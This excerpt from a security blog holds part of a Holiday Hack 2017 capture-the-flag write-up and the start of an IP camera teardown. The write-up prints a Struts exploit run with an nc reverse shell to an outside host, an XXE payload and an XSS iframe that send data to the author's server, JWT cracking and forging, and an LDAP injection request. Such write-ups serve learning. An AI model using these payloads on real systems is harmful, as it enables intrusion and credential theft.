Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2018-01-12 22:05 CET Nmap scan report <span class="k">for </span>l2s.northpolechristmastown.com <span class="o">(</span>35.185.84.51<span class="o">)</span> Host is up <span class="o">(</span>0.093s latency<span class="o">)</span><span class="nb">.</span> rDNS record <span class="k">for </span>35.185.84.51: 51.84.185.35.bc.googleusercontent.com Not shown: 994 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3389/tcp closed ms-wbt-server 5060/tcp closed sip 5061/tcp closed sip-tls Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>8.86 seconds <span class="nv">$ </span>nmap dev.northpolechristmastown.com Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2018-01-12 22:06 CET Nmap scan report <span class="k">for </span>dev.northpolechristmastown.com <span class="o">(</span>35.185.84.51<span class="o">)</span> Host is up <span class="o">(</span>0.096s latency<span class="o">)</span><span class="nb">.</span> rDNS record <span class="k">for </span>35.185.84.51: 51.84.185.35.bc.googleusercontent.com Not shown: 994 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3389/tcp closed ms-wbt-server 5060/tcp closed sip 5061/tcp closed sip-tls </code></pre></div></div> <p>After some research following the hints I decided to use this <a href="https://github.com/mazen160/struts-pwn_CVE-2017-9805">tool</a> after it’s indicating that this server is vulnerable:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python struts-pwn.py <span class="nt">--url</span> https://dev.northpolechristmastown.com/orders/ <span class="o">[</span><span class="k">*</span><span class="o">]</span> URL: https://dev.northpolechristmastown.com/orders/ <span class="o">[</span><span class="k">*</span><span class="o">]</span> Status: Vulnerable! <span class="o">[</span>%] Done. </code></pre></div></div> <p>After some try and error uploading a webshell I ended up using a simple reverse shell with another but simliar tool.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python struts_xml.py <span class="nt">-u</span> https://dev.northpolechristmastown.com/orders/- <span class="nt">-c</span> <span class="s2">"nc -e /bin/sh federland.dnshome.de 56123"</span> </code></pre></div></div> <p>As this is simple reverse shell is very annoying I was able to upgrade it nearly to a real TTY using this <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">article</a> and this resulting commands:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span> <span class="nv">$ </span><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span>/usr/sbin:/usr/bin:/sbin:/bin </code></pre></div></div> <p>This two commands will give you easy access to all installed utilities and the possibility of using special keys.</p> <p>As mentioned in the hints, developers will leave credentials behind, you have to look out for developing files like source code or documentation. As Alabaster deploys a Apache Struts server it’s possible he created some java files for a apache tomcat server. Searching the default directory for the tomcat files we can find it:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-rli</span> password opt <span class="nv">$ </span><span class="nb">cat </span>opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class ... final String username <span class="o">=</span> <span class="s2">"alabaster_snowball"</span><span class="p">;</span> final String password <span class="o">=</span> <span class="s2">"stream_unhappy_buy_loss"</span><span class="p">;</span> ... </code></pre></div></div> <h2 id="3-network-reconnaisance--smb-server">3 Network Reconnaisance &amp; SMB Server</h2> <p>Task: 3) The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?</p> <p>Therefore my first move was to scan the whole subnet:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap 10.142.0.0/24 Starting Nmap 7.40 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2017-12-17 14:38 UTC Nmap scan report <span class="k">for </span>hhc17-l2s-proxy.c.holidayhack2017.internal <span class="o">(</span>10.142.0.2<span class="o">)</span> PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 2222/tcp open EtherNetIP-1 Nmap scan report <span class="k">for </span>hhc17-apache-struts1.c.holidayhack2017.internal <span class="o">(</span>10.142.0.3<span class="o">)</span> PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report <span class="k">for </span>edb.northpolechristmastown.com <span class="o">(</span>10.142.0.6<span class="o">)</span> PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 8080/tcp open http-proxy Nmap scan report <span class="k">for </span>hhc17-emi.c.holidayhack2017.internal <span class="o">(</span>10.142.0.8<span class="o">)</span> PORT STATE SERVICE 80/tcp open http 3389/tcp open ms-wbt-server Nmap scan report <span class="k">for </span>hhc17-apache-struts2.c.holidayhack2017.internal <span class="o">(</span>10.142.0.11<span class="o">)</span> PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Nmap scan report <span class="k">for </span>eaas.northpolechristmastown.com <span class="o">(</span>10.142.0.13<span class="o">)</span> PORT STATE SERVICE 80/tcp open http 3389/tcp open ms-wbt-server Nmap scan report <span class="k">for </span>mail.northpolechristmastown.com <span class="o">(</span>10.142.0.5<span class="o">)</span> PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 143/tcp open imap 2525/tcp open ms-v-worlds 3000/tcp open ppp </code></pre></div></div> <p>The scan from the internal network reveals some machines but none with a open SMB port 445. The elf Holly Evergreen provided some hints for this challenge:</p> <ul> <li>Use the <code class="language-plaintext highlighter-rouge">-PS</code> flag of nmap to do TCP Syn Scan on specific ports</li> <li>Alabaster Snowball uses one strong password and uses it for multiple services</li> <li>Use ssh portforwarding to work from your machine into the internal network</li> <li>Use <code class="language-plaintext highlighter-rouge">smbclient</code> to communicate with SMB fileshare from linux</li> </ul> <p>Nmap uses the <code class="language-plaintext highlighter-rouge">-PS</code> flag by default but only for port 443. When the desired machine doesn’t respond to ICMP probes in addition it won’t be detectable without custom nmap flags. Apply this hint to the subnet scan:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-PS445</span> 10.142.0.0/24 Nmap scan report <span class="k">for </span>hhc17-smb-server.c.holidayhack2017.internal <span class="o">(</span>10.142.0.7<span class="o">)</span> Host is up <span class="o">(</span>0.00073s latency<span class="o">)</span><span class="nb">.</span> Not shown: 996 filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server </code></pre></div></div> <h2 id="windows-smb-server">Windows SMB Server</h2> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 139:10.142.0.7:139 -L 445:10.142.0.7:445 -L 135:10.142.0.7:135 -L 3389:10.142.0.7:3389 [email protected] </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbmap -u alabaster_snowball -p stream_unhappy_buy_loss -d workgroup -H 127.0.0.1 -R [+] Finding open SMB ports.... [+] User SMB session establishd on 127.0.0.1... [+] IP: 127.0.0.1:445 Name: localhost Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS FileStor READ ONLY .\ dr--r--r-- 0 Wed Dec 6 22:51:45 2017 . dr--r--r-- 0 Wed Dec 6 22:51:45 2017 .. -r--r--r-- 255520 Sun Dec 17 08:33:12 2017 BOLO - Munchkin Mole Report.docx -r--r--r-- 1275756 Mon Dec 4 21:04:34 2017 GreatBookPage3.pdf -r--r--r-- 111852 Sun Dec 17 08:31:32 2017 MEMO - Calculator Access for Wunorse.docx -r--r--r-- 133295 Wed Dec 6 22:47:47 2017 MEMO - Password Policy Reminder.docx -r--r--r-- 10245 Wed Dec 6 23:28:21 2017 Naughty and Nice List.csv -r--r--r-- 60344 Wed Dec 6 22:51:47 2017 Naughty and Nice List.docx </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbget -U alabaster_snowball smb://127.0.0.1/FileStor/GreatBookPage3.pdfPassword for [alabaster_snowball] connecting to //FileStor/127.0.0.1: Using workgroup WORKGROUP, user alabaster_snowball smb://127.0.0.1/FileStor/GreatBookPage3.pdf Downloaded 1,22MB in 13 seconds </code></pre></div></div> <h2 id="mail-server-with-custom-cookie-based-encryption">Mail Server with custom Cookie based encryption</h2> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 143:10.142.0.5:143 -L 8080:10.142.0.5:80 -L 25:10.142.0.5:25 -L 2222:10.142.0.5:22 -L 2525:10.142.0.5:2525 -L 3000:10.142.0.5:3000 [email protected] </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dirb http://127.0.0.1:8080 ---- Scanning URL: http://127.0.0.1:8080/ ---- + http://127.0.0.1:8080/index.html (CODE:200|SIZE:11321) + http://127.0.0.1:8080/info.php (CODE:200|SIZE:90820) ./dotdotpwn.pl -m http -h 127.0.0.1 -x 8080 -M GET [*] HTTP Status: 400 | Testing Path: http://127.0.0.1:8080/..%00%u2216..%00%u2216..%00%u2216..%00%u2216etc%u2216issue [*] HTTP Status: 400 | Testing Path: http://127.0.0.1:8080/..%00%u2216..%00%u2216..%00%u2216..%00%u2216..%00%u2216etc%u2216passwd </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sV 127.0.0.1 -p 22,25,8080,143,2525,3000 Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-20 18:54 CET Nmap scan report for localhost (127.0.0.1) Host is up (0.000055s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh 25/tcp open smtp Postfix smtpd 143/tcp open imap Dovecot imapd 2525/tcp open smtp Postfix smtpd 3000/tcp open http Node.js Express framework 8080/tcp open http nginx 1.10.3 (Ubuntu) Service Info: Host: mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel </code></pre></div></div> <p>EWA=”{“name”:”GUEST”,”plaintext”:””,”ciphertext”:””}”</p> <p>EWA={“name”:”[email protected]”,”plaintext”:””,”ciphertext”:”WmczgfAW8upVlZabYxzEXQ”}</p> <h2 id="online-resource-management-with-xml-external-entity-xxe-vulnerability">Online Resource Management with XML External Entity (XXE) Vulnerability</h2> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 8080:10.142.0.13:80 -L 3389:10.142.0.7:3389 [email protected] </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat order.xml &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;!DOCTYPE demo [ &lt;!ELEMENT demo ANY &gt; &lt;!ENTITY % extentity SYSTEM "http://federland.dnshome.de:13337/evil.dtd"&gt; %extentity; %inception; %sendit; ] &lt; </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat evil.dtd &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"&gt; &lt;!ENTITY % inception "&lt;!ENTITY &amp;#x25; sendit SYSTEM 'http://federland.dnshome.de:13338/?%stolendata;'&gt;"&gt; </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc -l 13338 GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1 Host: federland.dnshome.de:13338 Connection: Keep-Alive </code></pre></div></div> <h2 id="database-with-xss-vulnerability-javascript-web-token-jwt-vulnerability-and-ldap-injection-vulnerability">Database with XSS Vulnerability, JavaScript Web Token (JWT) Vulnerability and LDAP Injection Vulnerability</h2> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 18080:10.142.0.6:80 -L 2222:10.142.0.6:22 -L 3890:10.142.0.6:389 -L 28080:10.142.0.6:8080 [email protected] </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldapsearch -h 127.0.0.1 -p 3890 -x -b "dc=northpolechristmastown,dc=com" &gt; edb_ldap_dump.txt </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat edb_ldap_dump.txt | grep "mail:" | cut -d":" -f2 | cut -d"@" -f1 &gt; usernames.txt </code></pre></div></div> <h3 id="xss">XSS</h3> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hi plz restore password &lt;IFRAME SRC=# onload="document.getElementsByClassName('ticketlogo tooltipped')[0].setAttribute('src','http://federland.dnshome.de:56123/'+localStorage.getItem('np-auth'))"&gt;&lt;/IFRAME&gt; nc -l -p 56123 GET /eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1 Referer: http://127.0.0.1/reset_request?ticket=W0M50-B1XAN-2L4ND-247NN User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* Host: federland.dnshome.de:56123 echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I | base64 -d {"alg":"HS256","typ":"JWT"}... </code></pre></div></div> <h3 id="jwt">JWT</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pyjwt ecode <span class="nt">--no-verify</span> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I Essphrase <span class="k">for </span>key <span class="s1">'/root/.ssh/id_rsa'</span>: nter passphrase <span class="k">for </span>key <span class="s1">'/root/.ssh/id_rsa'</span>: <span class="o">{</span><span class="s2">"dept"</span>: <span class="s2">"Engineering"</span>, <span class="s2">"ou"</span>: <span class="s2">"elf"</span>, <span class="s2">"expires"</span>: <span class="s2">"2017-08-16 12:00:47.248093+00:00"</span>, <span class="s2">"uid"</span>: <span class="s2">"alabaster.snowball"</span><span class="o">}</span> </code></pre></div></div> <p>installing jwt-tool installing jwt-cracker</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I <span class="s2">"abcdefghijklmnopqrstuwxyz"</span> 6 other characters <span class="s2">"abcdefghijklmnopqrstuvwxyz0123456789"</span> 6 using jwt_tool with rockyou.txt </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I Secret is <span class="s2">"3lv3s"</span> </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span> <span class="kn">import</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="nn">time</span> <span class="n">JWT</span> <span class="o">=</span> <span class="s">"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I"</span> <span class="n">SECRET_KEY</span> <span class="o">=</span> <span class="s">"3lv3s"</span> <span class="n">decoded_payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">jwt</span><span class="o">=</span><span class="n">JWT</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="n">SECRET_KEY</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="n">decoded_payload</span><span class="p">)</span> <span class="n">decoded_payload</span><span class="p">[</span><span class="s">"expires"</span><span class="p">]</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span> <span class="o">+</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">seconds</span><span class="o">=</span><span class="mi">6000</span><span class="p">))</span> <span class="k">print</span><span class="p">(</span><span class="n">decoded_payload</span><span class="p">)</span> <span class="n">token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="o">=</span><span class="n">decoded_payload</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="n">SECRET_KEY</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">"Generated Token: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">token</span><span class="p">.</span><span class="n">decode</span><span class="p">()))</span> </code></pre></div></div> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="dl">'</span><span class="s1">np-auth</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTEyLTMxIDIyOjQ2OjI1LjM0MDc2OCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.tA3S1ZW6s4Bx9cMvndny454pLYD3C22-JMDkVCERX8E</span><span class="dl">'</span><span class="p">)</span> </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s1">'http://127.0.0.1:28080/search'</span> <span class="nt">-H</span> <span class="s1">'Cookie: SESSION=gt60T0q3W0P52h88k001'</span> <span class="nt">-H</span> <span class="s1">'Origin: http://127.0.0.1:28080'</span> <span class="nt">-H</span> <span class="s1">'Accept-Encoding: gzip, deflate, br'</span> <span class="nt">-H</span> <span class="s1">'Accept-Language: en-US,en;q=0.8'</span> <span class="nt">-H</span> <span class="s1">'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36'</span> <span class="nt">-H</span> <span class="s1">'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'</span> <span class="nt">-H</span> <span class="s1">'Accept: */*'</span> <span class="nt">-H</span> <span class="s1">'Referer: http://127.0.0.1:28080/home.html'</span> <span class="nt">-H</span> <span class="s1">'X-Requested-With: XMLHttpRequest'</span> <span class="nt">-H</span> <span class="s1">'Connection: keep-alive'</span> <span class="nt">-H</span> <span class="s1">'np-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTEyLTMxIDIyOjQ2OjI1LjM0MDc2OCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.tA3S1ZW6s4Bx9cMvndny454pLYD3C22-JMDkVCERX8E'</span> <span class="nt">--data</span> <span class="s1">'name=))(department%3Dit)(%7C(cn%3D&amp;isElf=False&amp;attributes=profilePath%2Cgn%2Csn%2Cmail%2CuserPassword'</span> <span class="nt">--compressed</span> </code></pre></div></div>herrfederHacking An IPCamera Part12017-10-19T16:00:00+00:002017-10-19T16:00:00+00:00https://herrfeder.github.io/embeddedsec/2017/10/19/Hacking-A-IP-Camera-Part1<ul id="markdown-toc"> <li><a href="#sricam-sp009-hardware-and-software-examination" id="markdown-toc-sricam-sp009-hardware-and-software-examination">Sricam SP009 Hardware and Software Examination</a> <ul> <li><a href="#1-first-recon" id="markdown-toc-1-first-recon">1. First Recon</a> <ul> <li><a href="#11-wifi" id="markdown-toc-11-wifi">1.1 WiFi</a></li> <li><a href="#12-soc" id="markdown-toc-12-soc">1.2 SoC</a></li> <li><a href="#13-flash" id="markdown-toc-13-flash">1.3 Flash</a></li> <li><a href="#14-power-management" id="markdown-toc-14-power-management">1.4 Power Management</a></li> <li><a href="#15-sd-card-slot" id="markdown-toc-15-sd-card-slot">1.5 SD card slot</a></li> <li><a href="#16-eeprom" id="markdown-toc-16-eeprom">1.6 EEPROM</a></li> <li><a href="#17-audio-amplifier" id="markdown-toc-17-audio-amplifier">1.7 Audio Amplifier</a></li> <li><a href="#18-shell" id="markdown-toc-18-shell">1.8 Shell</a></li> </ul> </li> <li><a href="#2-access-over-hardware-ports" id="markdown-toc-2-access-over-hardware-ports">2. Access over Hardware Ports</a> <ul> <li><a href="#21-uart" id="markdown-toc-21-uart">2.1 UART</a></li> <li><a href="#22-getting-firmware" id="markdown-toc-22-getting-firmware">2.2 Getting Firmware</a> <ul> <li><a href="#221-dumping-from-system-via-sdcard" id="markdown-toc-221-dumping-from-system-via-sdcard">2.2.1 Dumping from System via SDCard</a></li> <li><a href="#222-dumping-flash-via-spi" id="markdown-toc-222-dumping-flash-via-spi">2.2.2 Dumping Flash via SPI</a></li> </ul> </li> </ul> </li> <li><a href="#3-acess-over-wireless-interfaces-and-network" id="markdown-toc-3-acess-over-wireless-interfaces-and-network">3. Acess over Wireless Interfaces and Network</a> <ul> <li><a href="#31-internal-communication" id="markdown-toc-31-internal-communication">3.1 Internal Communication</a></li> <li><a href="#32-trying-interactingaccessing-the-provided-services" id="markdown-toc-32-trying-interactingaccessing-the-provided-services">3.2 Trying Interacting/Accessing the provided services</a></li> <li><a href="#33-external-communication" id="markdown-toc-33-external-communication">3.3 External Communication</a> <ul> <li><a href="#331-communication-between-mobile-phone-and-ipcam" id="markdown-toc-331-communication-between-mobile-phone-and-ipcam">3.3.1 Communication between Mobile Phone and IPCam</a></li> <li><a href="#332-firmware-update" id="markdown-toc-332-firmware-update">3.3.2 Firmware Update</a></li> <li><a href="#334-direct-communication-between-ipcam-and-servers" id="markdown-toc-334-direct-communication-between-ipcam-and-servers">3.3.4 Direct Communication between IPCam and servers</a></li> </ul> </li> <li><a href="#335-collecting-information" id="markdown-toc-335-collecting-information">3.3.5 Collecting Information</a></li> </ul> </li> <li><a href="#4-reversing" id="markdown-toc-4-reversing">4. Reversing</a> <ul> <li><a href="#41-jadx" id="markdown-toc-41-jadx">4.1 JADX</a></li> <li><a href="#42-apktool" id="markdown-toc-42-apktool">4.2 APKTOOL</a></li> <li><a href="#43-unzip-the-apk" id="markdown-toc-43-unzip-the-apk">4.3 Unzip the APK</a></li> <li><a href="#44-bytecode-viewer" id="markdown-toc-44-bytecode-viewer">4.4 Bytecode Viewer</a></li> </ul> </li> <li><a href="#overall-security-issues-for-now" id="markdown-toc-overall-security-issues-for-now">Overall Security Issues (for now)</a></li> <li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a></li> </ul> </li> </ul> <h1 id="sricam-sp009-hardware-and-software-examination">Sricam SP009 Hardware and Software Examination</h1> <p>In this gist I will try to examine and exploit the Sricam SP009. I purchased it from Attify with the IOT Exploitation Kit.</p> <ol> <li>First Recon <ul> <li>doing Research on Manufacturer Details</li> <li>disassemble the ip-camera</li> </ul> </li> <li>Access over Harware Ports <ul> <li>get shell access</li> <li>dump the firmware</li> </ul> </li> <li>Acess over Wireless Interfaces and Network <ul> <li>use interfaces in intended manner and dump network exchange information</li> <li>scan network services on cam and servers</li> </ul> </li> <li>Reversing Android App <ul> <li>finding firmware and keys for further access encryption</li> <li>vulnerabilities</li> </ul> </li> </ol> <h2 id="1-first-recon">1. First Recon</h2> <p>There isn’t any manufactural ID on the Cam. So seaching for the product will probably give the necessary documents. http://www.sricam.com/product/id/07caa85ec45449fabc17c003345970bf.html http://www.sricam.com/download/id/3e984aa70a9d4e928b03c01787d6fb4f.html</p> <p>I wasn’t able of extracting any relevant FCCID, only for similiar models like SP022.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/6UA9B3B.png" title="Product Photo SP009" target="_blank"> <img class="image" src="https://i.imgur.com/6UA9B3B.png" alt="Product Photo SP009" /> </a> <p class="image-caption">Product Photo SP009</p> </div> </div> <p>Examing product without opening it reveals a 720p camera module, IR sensor, LED’s for indicating running system, SD card slot and a reset button. On the backshell of the camera is a sticker with the ID (probably for database issues) and the default password.</p> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/6UA9B3B.png" title="Covering with product sticker" target="_blank"> <img class="image1" src="https://i.imgur.com/XAjB0hf.jpg" alt="Covering with product sticker" /> </a> <p class="image-caption">Covering with product sticker</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/6UA9B3B.png" title="Inside view of covering with speaker" target="_blank"> <img class="image2" src="https://i.imgur.com/d09zn5q.jpg" alt="Inside view of covering with speaker" /> </a> <p class="image-caption">Inside view of covering with speaker</p> </div> </div> <p>On the inner side of the backshell lies a small speaker. It was my first action to plug it off the main board, because it does annoying beeps when not paired with the smartphone app.</p> <p>The main board reveals all the parts for the functionalities of the cam.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/Y7b0J4q.jpg" title="PCB front with assembly of parts" target="_blank"> <img class="image" src="https://i.imgur.com/Y7b0J4q.jpg" alt="PCB front with assembly of parts" /> </a> <p class="image-caption">PCB front with assembly of parts</p> </div> </div> <h4 id="11-wifi">1.1 WiFi</h4> <ul> <li>Link: https://www.mediatek.com/products/broadbandWifi/mt7601u</li> <li>Identifier: MT7601UN 1530-BMJL GTP39Y55</li> </ul> <p>According to mediatek “High-performance 802.11n for compact and cost-effective Wi-Fi devices”. Provides network connectivity for the cam and will communicate with the main processor via SPI.?</p> <h4 id="12-soc">1.2 SoC</h4> <ul> <li>Link: http://www.grain-media.com/html/8136S_8135S.htm</li> <li>Identifier: GM8 135S-OC SMSKH-000 AG-1525</li> </ul> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/IPcaKkf.jpg" title="SoC architecture" target="_blank"> <img class="image" src="https://i.imgur.com/IPcaKkf.jpg" alt="SoC architecture" /> </a> <p class="image-caption">SoC architecture</p> </div> </div> <p>We can see that it’s a ARM architecture and it has a lot of interfaces. Next to the SoC lies the suspected UART interface.</p> <h4 id="13-flash">1.3 Flash</h4> <ul> <li>Link: http://html.alldatasheet.com/html-pdf/575542/MCNIX/MX25L12835E/1114/7/MX25L12835E.html (similiar model)</li> <li>Identifier: MX25L12805E (on the chip is MX25L12805D printed)</li> <li>Name: 16M-BIT [x 1] CMOS SERIAL FLASH</li> </ul> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/y9UWskY.jpg" title="Flash pinout" target="_blank"> <img class="image" src="https://i.imgur.com/y9UWskY.jpg" alt="Flash pinout" /> </a> <p class="image-caption">Flash pinout</p> </div> </div> <p>It’s surprising that although there is printed MX25L12805E, it’s the chip MX25L12805D. They varies in pinning and flash size. This flash stores the operating system and all binaries and other files for operation. Looking later at the booting prompt will reveal it’s real “type”. We will examine later, whether it’s possible to get some information out of the chip via SPI.</p> <h4 id="14-power-management">1.4 Power Management</h4> <ul> <li>Link: http:/A3/www.everanalog.com/Product/ProductEA3036DetailInfo.aspx</li> <li>Identifier: EA3036 4j088s</li> <li>Name: 3CH power management IC</li> </ul> <p>Provides the driver circuit for the Power Management. Very Important for function of the cam but not really interesting for examination.</p> <h4 id="15-sd-card-slot">1.5 SD card slot</h4> <p>Looks like a typical reader for microSD cards like used on Raspberry Pi. I guess, it could be used to store videos and pictures, captured by the camera. It will become useful to copy things from the filesystem and maybe executing external binaries.</p> <p>On the back of the main board are some other parts.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/2wa6WmI.jpg" title="PCB backside" target="_blank"> <img class="image" src="https://i.imgur.com/2wa6WmI.jpg" 